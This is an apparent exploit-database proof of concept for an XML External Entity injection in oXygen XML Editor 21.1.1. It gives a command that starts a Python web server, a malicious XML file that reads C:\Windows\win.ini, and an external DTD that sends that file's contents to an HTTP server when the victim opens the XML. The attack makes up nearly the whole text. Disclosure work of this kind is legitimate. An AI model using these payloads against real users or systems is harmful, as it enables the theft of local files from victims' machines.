oXygen XML Editor 21.1.1 – XML External Entity Injection

# Exploit Title: oXygen XML Editor 21.1.1 - XML External Entity Injection

# Author: Pablo Santiago

# Date: 2019-11-13

# Vendor Homepage: https://www.oxygenxml.com/

# Source:https://www.oxygenxml.com/xml_editor/download_oxygenxml_editor.html

# Version: 21.1.1

# CVE : N/A

# Tested on: Windows 7

#PoC

1- python -m SimpleHTTPServer 8000

1.1- Poc.xml :

<?xml version="1.0"?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "C:\Windows\win.ini">

<!ENTITY % dtd SYSTEM "http://localhost:8000/payload.dtd">

%dtd;]>

1.2.- payload.dtd

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8000?%file;'>">

%all;

2- File -> Open -> *.xml

#PoC Visual

https://imgur.com/2H8DhL9